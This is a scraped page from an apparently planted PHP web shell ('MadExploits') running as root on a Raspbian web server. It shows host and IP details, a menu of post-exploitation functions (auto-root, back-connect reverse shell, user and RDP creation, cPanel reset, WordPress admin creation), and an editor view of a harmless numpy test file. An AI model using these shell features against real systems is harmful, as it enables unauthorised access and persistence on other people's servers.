Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
numpy /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
0
B
-rw-r--r--
__init__.pyc
143
B
-rw-r--r--
test_ctypeslib.py
12.07
KB
-rw-r--r--
test_ctypeslib.pyc
14.19
KB
-rw-r--r--
test_matlib.py
2.11
KB
-rw-r--r--
test_matlib.pyc
3.31
KB
-rw-r--r--
test_numpy_version.py
647
B
-rw-r--r--
test_numpy_version.pyc
872
B
-rw-r--r--
test_public_api.py
3.38
KB
-rw-r--r--
test_public_api.pyc
4.01
KB
-rw-r--r--
test_reloading.py
1.27
KB
-rw-r--r--
test_reloading.pyc
1.59
KB
-rw-r--r--
test_scripts.py
1.6
KB
-rw-r--r--
test_scripts.pyc
2.08
KB
-rw-r--r--
test_warnings.py
2.53
KB
-rw-r--r--
test_warnings.pyc
3.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_warnings.py
""" Tests which scan for certain occurrences in the code, they may not find all of these occurrences but should catch almost all. """ from __future__ import division, absolute_import, print_function import sys import pytest if sys.version_info >= (3, 4): from pathlib import Path import ast import tokenize import numpy class ParseCall(ast.NodeVisitor): def __init__(self): self.ls = [] def visit_Attribute(self, node): ast.NodeVisitor.generic_visit(self, node) self.ls.append(node.attr) def visit_Name(self, node): self.ls.append(node.id) class FindFuncs(ast.NodeVisitor): def __init__(self, filename): super().__init__() self.__filename = filename def visit_Call(self, node): p = ParseCall() p.visit(node.func) ast.NodeVisitor.generic_visit(self, node) if p.ls[-1] == 'simplefilter' or p.ls[-1] == 'filterwarnings': if node.args[0].s == "ignore": raise AssertionError( "ignore filter should not be used; found in " "{} on line {}".format(self.__filename, node.lineno)) if p.ls[-1] == 'warn' and ( len(p.ls) == 1 or p.ls[-2] == 'warnings'): if "testing/tests/test_warnings.py" is self.__filename: # This file return # See if stacklevel exists: if len(node.args) == 3: return args = {kw.arg for kw in node.keywords} if "stacklevel" in args: return raise AssertionError( "warnings should have an appropriate stacklevel; found in " "{} on line {}".format(self.__filename, node.lineno)) @pytest.mark.slow def test_warning_calls(): # combined "ignore" and stacklevel error base = Path(numpy.__file__).parent for path in base.rglob("*.py"): if base / "testing" in path.parents: continue if path == base / "__init__.py": continue if path == base / "random" / "__init__.py": continue # use tokenize to auto-detect encoding on systems where no # default encoding is defined (e.g. LANG='C') with tokenize.open(str(path)) as file: tree = ast.parse(file.read()) FindFuncs(path).visit(tree)
Close